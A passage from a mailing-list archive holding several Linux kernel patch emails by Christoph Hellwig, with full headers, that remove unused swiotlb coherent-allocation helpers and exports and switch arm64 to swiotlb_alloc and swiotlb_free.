        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=8xMS7DFldBKVPWVVZ3i0NrEOWqn49uvnyFqEHvONQ2k=; b=RiL31EjeZBQ6uSUW9tt5Ylcbi
        YH4Mfv4tzVl1lTSvZkDK96j1ZiJ3t+W/NqavTQ81ZK5PBBdPok5zJK3X53C6eS1gjWbB0aeuoRmuC
        6i9dH26C3rpiCvwH9f7jTjnb93FfLi/0VibV9tsctQGsGf/Pp6JuGyeLFfV8QABWDNYy7sEKXwzdZ
        WerQ5x0CntOsFnWv8OPAYw3a5kFTQPA6VBC+c+5CPE+xdLOTuTX2JjialO5h88cm8Tu9Ge0fP1sik
        h+36yUmxMtDa1zWv9oBChnYEgI7g/mB35ChbOW4ypnMOOg5Stj0NZ3knr8eLTLMTJ2N7Q3SCMHt1K
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpxX-00045e-59; Fri, 29 Dec 2017 08:24:07 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:1522 gmane.linux.kernel.iommu:21928 gmane.linux.ports.alpha:4595 gmane.linux.kernel.arc:3216 gmane.linux.ports.arm.kernel:622941 gmane.linux.ports.hexagon:1448 gmane.linux.ports.ia64:28438 gmane.linux.ports.mips.general:62971 gmane.linux.ports.parisc:28113 gmane.linux.ports.ppc64.devel:151545 gmane.linux.ports.sh.devel:56084 gmane.linux.ports.sparc:27091 gmane.linux.kernel.cross-arch:40831 gmane.linux.kernel:2654258
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/1522>

Unused now that everyone uses swiotlb_{alloc,free}.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 include/linux/swiotlb.h |  8 --------
 lib/swiotlb.c           | 41 -----------------------------------------
 2 files changed, 49 deletions(-)

diff --git a/include/linux/swiotlb.h b/include/linux/swiotlb.h
index 5b1f2a00491c..965be92c33b5 100644
--- a/include/linux/swiotlb.h
+++ b/include/linux/swiotlb.h
@@ -72,14 +72,6 @@ void *swiotlb_alloc(struct device *hwdev, size_t size, dma_addr_t *dma_handle,
 void swiotlb_free(struct device *dev, size_t size, void *vaddr,
 		dma_addr_t dma_addr, unsigned long attrs);
 
-extern void
-*swiotlb_alloc_coherent(struct device *hwdev, size_t size,
-			dma_addr_t *dma_handle, gfp_t flags);
-
-extern void
-swiotlb_free_coherent(struct device *hwdev, size_t size,
-		      void *vaddr, dma_addr_t dma_handle);
-
 extern dma_addr_t swiotlb_map_page(struct device *dev, struct page *page,
 				   unsigned long offset, size_t size,
 				   enum dma_data_direction dir,
diff --git a/lib/swiotlb.c b/lib/swiotlb.c
index 4ea0b5710618..77a40b508db8 100644
--- a/lib/swiotlb.c
+++ b/lib/swiotlb.c
@@ -157,13 +157,6 @@ unsigned long swiotlb_size_or_default(void)
 	return size ? size : (IO_TLB_DEFAULT_SIZE);
 }
 
-/* Note that this doesn't work with highmem page */
-static dma_addr_t swiotlb_virt_to_bus(struct device *hwdev,
-				      volatile void *address)
-{
-	return phys_to_dma(hwdev, virt_to_phys(address));
-}
-
 static bool no_iotlb_memory;
 
 void swiotlb_print_info(void)
@@ -743,31 +736,6 @@ swiotlb_alloc_buffer(struct device *dev, size_t size, dma_addr_t *dma_handle)
 	return NULL;
 }
 
-void *
-swiotlb_alloc_coherent(struct device *hwdev, size_t size,
-		       dma_addr_t *dma_handle, gfp_t flags)
-{
-	int order = get_order(size);
-	void *ret;
-
-	ret = (void *)__get_free_pages(flags, order);
-	if (ret) {
-		*dma_handle = swiotlb_virt_to_bus(hwdev, ret);
-		if (*dma_handle  + size - 1 <= hwdev->coherent_dma_mask) {
-			memset(ret, 0, size);
-			return ret;
-		}
-
-		/*
-		 * The allocated memory isn't reachable by the device.
-		 */
-		free_pages((unsigned long) ret, order);
-	}
-
-	return swiotlb_alloc_buffer(hwdev, size, dma_handle);
-}
-EXPORT_SYMBOL(swiotlb_alloc_coherent);
-
 static bool swiotlb_free_buffer(struct device *dev, size_t size,
 		dma_addr_t dma_addr)
 {
@@ -787,15 +755,6 @@ static bool swiotlb_free_buffer(struct device *dev, size_t size,
 	return true;
 }
 
-void
-swiotlb_free_coherent(struct device *hwdev, size_t size, void *vaddr,
-		      dma_addr_t dev_addr)
-{
-	if (!swiotlb_free_buffer(hwdev, size, dev_addr))
-		free_pages((unsigned long)vaddr, get_order(size));
-}
-EXPORT_SYMBOL(swiotlb_free_coherent);
-
 static void
 swiotlb_full(struct device *dev, size_t size, enum dma_data_direction dir,
 	     int do_panic)
-- 
2.14.2


From - Thu Nov 08 21:40:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH 67/67] swiotlb: remove various exports
Date: Fri, 29 Dec 2017 09:19:11 +0100
Lines: 119
Approved: news@gmane.org
Message-ID: <20171229081911.2802-68-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535767 16888 195.159.176.226 (29 Dec 2017 08:22:47 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:22:47 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Dec 29 09:22:41 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1eUpw5-0003u4-BV
	for glk-linux-kernel-3@m.gmane.org; Fri, 29 Dec 2017 09:22:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933043AbdL2IYh (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Fri, 29 Dec 2017 03:24:37 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:47901 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S933004AbdL2IYb (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 29 Dec 2017 03:24:31 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=oS+xl71GzieSI0T6QEMuSalsxBIkFPjG1v4ZiXneDMk=; b=bNGlS51JxpxvU3A+Q89/e+wxp
        YV4SQKQD1K8lbdS6yCkK+ELFpHIVSPXkAUxSYCNZX1A+5vqtnbqwOjtBpfzTJiNf29RmjelbKH2NU
        wgSs2DLNmGJXsyU2woliE5FYw8H2pjbJJ6M92tEWKlNu13xVAJWF9vFzmMHey2tBwqkWBGEZlaFPg
        uELF59HtFIl2a5Z9uM6hgMkcVezxeDgiz4eVCe/JvbMC4WDPtomMCmyXNRPYpFr7FSQvdbqcbgf2V
        lxdGtvh0YPom9/hMku+Th+DeEmn3f5aFm0Q8a4qkDuZSQh/3pE5Zh9fX7aCv+rWyf2PDbnXxuqi9N
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpxb-00048U-NE; Fri, 29 Dec 2017 08:24:12 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2654259 gmane.linux.kernel.iommu:21929 gmane.linux.ports.alpha:4596 gmane.linux.kernel.arc:3217 gmane.linux.ports.arm.kernel:622942 gmane.linux.ports.hexagon:1449 gmane.linux.ports.ia64:28439 gmane.linux.kernel.metag:1523 gmane.linux.ports.mips.general:62972 gmane.linux.ports.parisc:28114 gmane.linux.ports.ppc64.devel:151546 gmane.linux.ports.sh.devel:56085 gmane.linux.ports.sparc:27092 gmane.linux.kernel.cross-arch:40832
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2654259>

All these symbols are only used by arch dma_ops implementations or
xen-swiotlb.  None of which can be modular.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 lib/swiotlb.c | 13 -------------
 1 file changed, 13 deletions(-)

diff --git a/lib/swiotlb.c b/lib/swiotlb.c
index 77a40b508db8..823e1055a394 100644
--- a/lib/swiotlb.c
+++ b/lib/swiotlb.c
@@ -591,7 +591,6 @@ phys_addr_t swiotlb_tbl_map_single(struct device *hwdev,
 
 	return tlb_addr;
 }
-EXPORT_SYMBOL_GPL(swiotlb_tbl_map_single);
 
 /*
  * Allocates bounce buffer and returns its kernel virtual address.
@@ -661,7 +660,6 @@ void swiotlb_tbl_unmap_single(struct device *hwdev, phys_addr_t tlb_addr,
 	}
 	spin_unlock_irqrestore(&io_tlb_lock, flags);
 }
-EXPORT_SYMBOL_GPL(swiotlb_tbl_unmap_single);
 
 void swiotlb_tbl_sync_single(struct device *hwdev, phys_addr_t tlb_addr,
 			     size_t size, enum dma_data_direction dir,
@@ -693,7 +691,6 @@ void swiotlb_tbl_sync_single(struct device *hwdev, phys_addr_t tlb_addr,
 		BUG();
 	}
 }
-EXPORT_SYMBOL_GPL(swiotlb_tbl_sync_single);
 
 static void *
 swiotlb_alloc_buffer(struct device *dev, size_t size, dma_addr_t *dma_handle)
@@ -827,7 +824,6 @@ dma_addr_t swiotlb_map_page(struct device *dev, struct page *page,
 
 	return __phys_to_dma(dev, io_tlb_overflow_buffer);
 }
-EXPORT_SYMBOL_GPL(swiotlb_map_page);
 
 /*
  * Unmap a single streaming mode DMA translation.  The dma_addr and size must
@@ -868,7 +864,6 @@ void swiotlb_unmap_page(struct device *hwdev, dma_addr_t dev_addr,
 {
 	unmap_single(hwdev, dev_addr, size, dir, attrs);
 }
-EXPORT_SYMBOL_GPL(swiotlb_unmap_page);
 
 /*
  * Make physical memory consistent for a single streaming mode DMA translation
@@ -906,7 +901,6 @@ swiotlb_sync_single_for_cpu(struct device *hwdev, dma_addr_t dev_addr,
 {
 	swiotlb_sync_single(hwdev, dev_addr, size, dir, SYNC_FOR_CPU);
 }
-EXPORT_SYMBOL(swiotlb_sync_single_for_cpu);
 
 void
 swiotlb_sync_single_for_device(struct device *hwdev, dma_addr_t dev_addr,
@@ -914,7 +908,6 @@ swiotlb_sync_single_for_device(struct device *hwdev, dma_addr_t dev_addr,
 {
 	swiotlb_sync_single(hwdev, dev_addr, size, dir, SYNC_FOR_DEVICE);
 }
-EXPORT_SYMBOL(swiotlb_sync_single_for_device);
 
 /*
  * Map a set of buffers described by scatterlist in streaming mode for DMA.
@@ -966,7 +959,6 @@ swiotlb_map_sg_attrs(struct device *hwdev, struct scatterlist *sgl, int nelems,
 	}
 	return nelems;
 }
-EXPORT_SYMBOL(swiotlb_map_sg_attrs);
 
 /*
  * Unmap a set of streaming mode DMA translations.  Again, cpu read rules
@@ -986,7 +978,6 @@ swiotlb_unmap_sg_attrs(struct device *hwdev, struct scatterlist *sgl,
 		unmap_single(hwdev, sg->dma_address, sg_dma_len(sg), dir,
 			     attrs);
 }
-EXPORT_SYMBOL(swiotlb_unmap_sg_attrs);
 
 /*
  * Make physical memory consistent for a set of streaming mode DMA translations
@@ -1014,7 +1005,6 @@ swiotlb_sync_sg_for_cpu(struct device *hwdev, struct scatterlist *sg,
 {
 	swiotlb_sync_sg(hwdev, sg, nelems, dir, SYNC_FOR_CPU);
 }
-EXPORT_SYMBOL(swiotlb_sync_sg_for_cpu);
 
 void
 swiotlb_sync_sg_for_device(struct device *hwdev, struct scatterlist *sg,
@@ -1022,14 +1012,12 @@ swiotlb_sync_sg_for_device(struct device *hwdev, struct scatterlist *sg,
 {
 	swiotlb_sync_sg(hwdev, sg, nelems, dir, SYNC_FOR_DEVICE);
 }
-EXPORT_SYMBOL(swiotlb_sync_sg_for_device);
 
 int
 swiotlb_dma_mapping_error(struct device *hwdev, dma_addr_t dma_addr)
 {
 	return (dma_addr == __phys_to_dma(hwdev, io_tlb_overflow_buffer));
 }
-EXPORT_SYMBOL(swiotlb_dma_mapping_error);
 
 /*
  * Return whether the given device DMA address mask can be supported
@@ -1042,7 +1030,6 @@ swiotlb_dma_supported(struct device *hwdev, u64 mask)
 {
 	return __phys_to_dma(hwdev, io_tlb_end - 1) <= mask;
 }
-EXPORT_SYMBOL(swiotlb_dma_supported);
 
 #ifdef CONFIG_DMA_DIRECT_OPS
 void *swiotlb_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
-- 
2.14.2



From - Thu Nov 08 21:40:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 65/67] arm64: use swiotlb_alloc and swiotlb_free
Date: Fri, 29 Dec 2017 09:19:09 +0100
Lines: 108
Approved: news@gmane.org
Message-ID: <20171229081911.2802-66-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535789 21690 195.159.176.226 (29 Dec 2017 08:23:09 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:23:09 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: sparclinux-owner@vger.kernel.org Fri Dec 29 09:23:03 2017
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1eUpwO-0004Lg-Pc
	for lnx-sparclinux@m.gmane.org; Fri, 29 Dec 2017 09:22:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933013AbdL2IYc (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Fri, 29 Dec 2017 03:24:32 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:59566 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932966AbdL2IYO (ORCPT
        <rfc822;sparclinux@vger.kernel.org>); Fri, 29 Dec 2017 03:24:14 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=d9yo9fHW4ItpknfB0sU/txVi1NJGOiW6nZtuvSW+jKA=; b=qIV2UL2SQJj1BQZCBnl2SHv5z
        PxI7bH7IixCKsvhI533I/qy3mexHbiqtZ0/kIEEicLNUo9VS3SWzK4itsVurSgrcWCA+ycX3v+y1v
        V2GmvoL3sVUXa6Qxz6ayDfO0xeXtQWEKaiYvGeFfcY+EjwnZHpXPBJsIkUqrq3JoV9usVBu9x9H79
        pcgeYlRgGKEpswY15/s9M6HzOlCsWrlSKnNfQdYiJDCG55kvtI2adKpQ/wrHCslKJjn0Ovj/bfKyv
        6HKJTgGdOrD75Za9IUlFPUtkff9X2RyX7S0ApM8VIXGB3in9zb4687+dImmeiCI4Zqi09/5F/gZIg
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpxS-00042x-LI; Fri, 29 Dec 2017 08:24:03 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:27093 gmane.linux.kernel.iommu:21930 gmane.linux.ports.alpha:4597 gmane.linux.kernel.arc:3218 gmane.linux.ports.arm.kernel:622943 gmane.linux.ports.hexagon:1450 gmane.linux.ports.ia64:28440 gmane.linux.kernel.metag:1524 gmane.linux.ports.mips.general:62973 gmane.linux.ports.parisc:28115 gmane.linux.ports.ppc64.devel:151547 gmane.linux.ports.sh.devel:56086 gmane.linux.kernel.cross-arch:40833 gmane.linux.kernel:2654260
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/27093>

The generic swiotlb_alloc and swiotlb_free routines already take care
of CMA allocations and adding GFP_DMA32 where needed, so use them
instead of the arm specific helpers.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/arm64/Kconfig          |  1 +
 arch/arm64/mm/dma-mapping.c | 46 +++------------------------------------------
 2 files changed, 4 insertions(+), 43 deletions(-)

diff --git a/arch/arm64/Kconfig b/arch/arm64/Kconfig
index 6b6985f15d02..53205c02b18a 100644
--- a/arch/arm64/Kconfig
+++ b/arch/arm64/Kconfig
@@ -59,6 +59,7 @@ config ARM64
 	select COMMON_CLK
 	select CPU_PM if (SUSPEND || CPU_IDLE)
 	select DCACHE_WORD_ACCESS
+	select DMA_DIRECT_OPS
 	select EDAC_SUPPORT
 	select FRAME_POINTER
 	select GENERIC_ALLOCATOR
diff --git a/arch/arm64/mm/dma-mapping.c b/arch/arm64/mm/dma-mapping.c
index 0d641875b20e..a96ec0181818 100644
--- a/arch/arm64/mm/dma-mapping.c
+++ b/arch/arm64/mm/dma-mapping.c
@@ -91,46 +91,6 @@ static int __free_from_pool(void *start, size_t size)
 	return 1;
 }
 
-static void *__dma_alloc_coherent(struct device *dev, size_t size,
-				  dma_addr_t *dma_handle, gfp_t flags,
-				  unsigned long attrs)
-{
-	if (IS_ENABLED(CONFIG_ZONE_DMA32) &&
-	    dev->coherent_dma_mask <= DMA_BIT_MASK(32))
-		flags |= GFP_DMA32;
-	if (dev_get_cma_area(dev) && gfpflags_allow_blocking(flags)) {
-		struct page *page;
-		void *addr;
-
-		page = dma_alloc_from_contiguous(dev, size >> PAGE_SHIFT,
-						 get_order(size), flags);
-		if (!page)
-			return NULL;
-
-		*dma_handle = phys_to_dma(dev, page_to_phys(page));
-		addr = page_address(page);
-		memset(addr, 0, size);
-		return addr;
-	} else {
-		return swiotlb_alloc_coherent(dev, size, dma_handle, flags);
-	}
-}
-
-static void __dma_free_coherent(struct device *dev, size_t size,
-				void *vaddr, dma_addr_t dma_handle,
-				unsigned long attrs)
-{
-	bool freed;
-	phys_addr_t paddr = dma_to_phys(dev, dma_handle);
-
-
-	freed = dma_release_from_contiguous(dev,
-					phys_to_page(paddr),
-					size >> PAGE_SHIFT);
-	if (!freed)
-		swiotlb_free_coherent(dev, size, vaddr, dma_handle);
-}
-
 static void *__dma_alloc(struct device *dev, size_t size,
 			 dma_addr_t *dma_handle, gfp_t flags,
 			 unsigned long attrs)
@@ -152,7 +112,7 @@ static void *__dma_alloc(struct device *dev, size_t size,
 		return addr;
 	}
 
-	ptr = __dma_alloc_coherent(dev, size, dma_handle, flags, attrs);
+	ptr = swiotlb_alloc(dev, size, dma_handle, flags, attrs);
 	if (!ptr)
 		goto no_mem;
 
@@ -173,7 +133,7 @@ static void *__dma_alloc(struct device *dev, size_t size,
 	return coherent_ptr;
 
 no_map:
-	__dma_free_coherent(dev, size, ptr, *dma_handle, attrs);
+	swiotlb_free(dev, size, ptr, *dma_handle, attrs);
 no_mem:
 	return NULL;
 }
@@ -191,7 +151,7 @@ static void __dma_free(struct device *dev, size_t size,
 			return;
 		vunmap(vaddr);
 	}
-	__dma_free_coherent(dev, size, swiotlb_addr, dma_handle, attrs);
+	swiotlb_free(dev, size, swiotlb_addr, dma_handle, attrs);
 }
 
 static dma_addr_t __swiotlb_map_page(struct device *dev, struct page *page,
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 63/67] mips: use swiotlb_{alloc,free}
Date: Fri, 29 Dec 2017 09:19:07 +0100
Lines: 144
Approved: news@gmane.org
Message-ID: <20171229081911.2802-64-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535824 28963 195.159.176.226 (29 Dec 2017 08:23:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:23:44 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: sparclinux-owner@vger.kernel.org Fri Dec 29 09:23:38 2017
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1eUpx1-000712-Eq
	for lnx-sparclinux@m.gmane.org; Fri, 29 Dec 2017 09:23:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1756194AbdL2IZf (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Fri, 29 Dec 2017 03:25:35 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:40443 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932932AbdL2IYE (ORCPT
        <rfc822;sparclinux@vger.kernel.org>); Fri, 29 Dec 2017 03:24:04 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=aKXmkSELZ87ap91k4vgdBvkT2ZYUugBVgOEOKDZqhYQ=; b=R0B7PfkiIFHgwhMID3y+2wrlS
        9JPTjkXK5MavhSBLPN3w0zB5kbF6tdgqelbr3wbafIQryPSgO6HZRIKBxd7eEfwfRshytqAw9WpPd
        wtmti8Yu6OvUego5BUrpcJSFUmblx41pJhX0yJCQJihZxokQ/TIGG+WipirnFOsytW6VG4VslTZEE
        H1mE6HdikdoKuJtCNix9RvNh3eCT3milBK8AWO9Zs5LD8t8wv7YuTaLr0A1GLbr5ZlYiw5QujM2gb
        O8mtFjU/WPfWkh+dpeM4nDdYDr9guI/r+6BAsEcutzxavUFnM1IdyHrvydW2S26lzgfgh65rZWRyh
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpxJ-0003wP-ED; Fri, 29 Dec 2017 08:23:54 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:27094 gmane.linux.kernel.iommu:21931 gmane.linux.ports.alpha:4598 gmane.linux.kernel.arc:3219 gmane.linux.ports.arm.kernel:622944 gmane.linux.ports.hexagon:1451 gmane.linux.ports.ia64:28441 gmane.linux.kernel.metag:1525 gmane.linux.ports.mips.general:62974 gmane.linux.ports.parisc:28116 gmane.linux.ports.ppc64.devel:151548 gmane.linux.ports.sh.devel:56087 gmane.linux.kernel.cross-arch:40834 gmane.linux.kernel:2654261
